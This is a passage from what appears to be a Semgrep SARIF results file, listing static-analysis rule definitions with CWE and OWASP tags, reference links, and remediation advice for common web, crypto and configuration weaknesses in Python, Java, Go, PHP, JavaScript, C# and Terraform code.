[https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt","id":"python.django.security.audit.csrf-exempt.no-csrf-exempt","name":"python.django.security.audit.csrf-exempt.no-csrf-exempt","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.csrf-exempt.no-csrf-exempt"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django","id":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","name":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-marshal-django.tainted-marshal-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format)\n - [https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render)\n - [https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format","id":"python.django.security.injection.raw-html-format.raw-html-format","name":"python.django.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"CSRF protection is disabled for this configuration. This is a security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","id":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","name":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"help":{"markdown":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html)\n","text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","id":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","name":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","id":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","name":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"help":{"markdown":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html](https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html)\n","text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect","id":"go.lang.security.injection.open-redirect.open-redirect","name":"go.lang.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"help":{"markdown":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http)\n - [https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/](https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/)\n - [https://bento.dev/checks/requests/no-auth-over-http/](https://bento.dev/checks/requests/no-auth-over-http/)\n","text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http","id":"python.requests.security.no-auth-over-http.no-auth-over-http","name":"python.requests.security.no-auth-over-http.no-auth-over-http","properties":{"precision":"very-high","tags":["CWE-523: Unprotected Transport of Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.no-auth-over-http.no-auth-over-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","id":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","name":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.global-autoescape-off.global-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"help":{"markdown":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1)\n","text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure","id":"csharp.lang.audit.cookies.missing-secure.missing-secure","name":"csharp.lang.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Telnet does not encrypt communications. Use SSH instead."},"help":{"markdown":"Telnet does not encrypt communications. Use SSH instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib)\n - [https://docs.python.org/3/library/telnetlib.html](https://docs.python.org/3/library/telnetlib.html)\n","text":"Telnet does not encrypt communications. Use SSH instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib","id":"python.lang.security.audit.telnetlib.telnetlib","name":"python.lang.security.audit.telnetlib.telnetlib","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.telnetlib.telnetlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"help":{"markdown":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version)\n - [https://www.ietf.org/rfc/rfc5246.txt](https://www.ietf.org/rfc/rfc5246.txt)\n","text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","id":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","name":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","id":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","name":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible ZeroDivisionError."},"help":{"markdown":"Detected a possible ZeroDivisionError.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb)\n","text":"Detected a possible ZeroDivisionError."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero","id":"ruby.lang.security.divide-by-zero.divide-by-zero","name":"ruby.lang.security.divide-by-zero.divide-by-zero","properties":{"precision":"very-high","tags":["CWE-369: Divide By Zero","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.divide-by-zero.divide-by-zero"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"help":{"markdown":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final)\n - [https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding](https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final","id":"javascript.node-crypto.security.aead-no-final.aead-no-final","name":"javascript.node-crypto.security.aead-no-final.aead-no-final","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.aead-no-final.aead-no-final"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Evaluating non-constant commands. This can lead to command injection."},"help":{"markdown":"Evaluating non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.eval-use.eval-use)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Evaluating non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.eval-use.eval-use","id":"php.lang.security.eval-use.eval-use","name":"php.lang.security.eval-use.eval-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.eval-use.eval-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","id":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","name":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request)\n - [https://nodejs.org/api/http.html#http_http_request_options_callback](https://nodejs.org/api/http.html#http_http_request_options_callback)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request","id":"problem-based-packs.insecure-transport.js-node.http-request.http-request","name":"problem-based-packs.insecure-transport.js-node.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.http-request.http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"help":{"markdown":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv)\n - [https://csrc.nist.gov/publications/detail/sp/800-38a/final](https://csrc.nist.gov/publications/detail/sp/800-38a/final)\n","text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"helpUri":"https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","id":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","name":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH 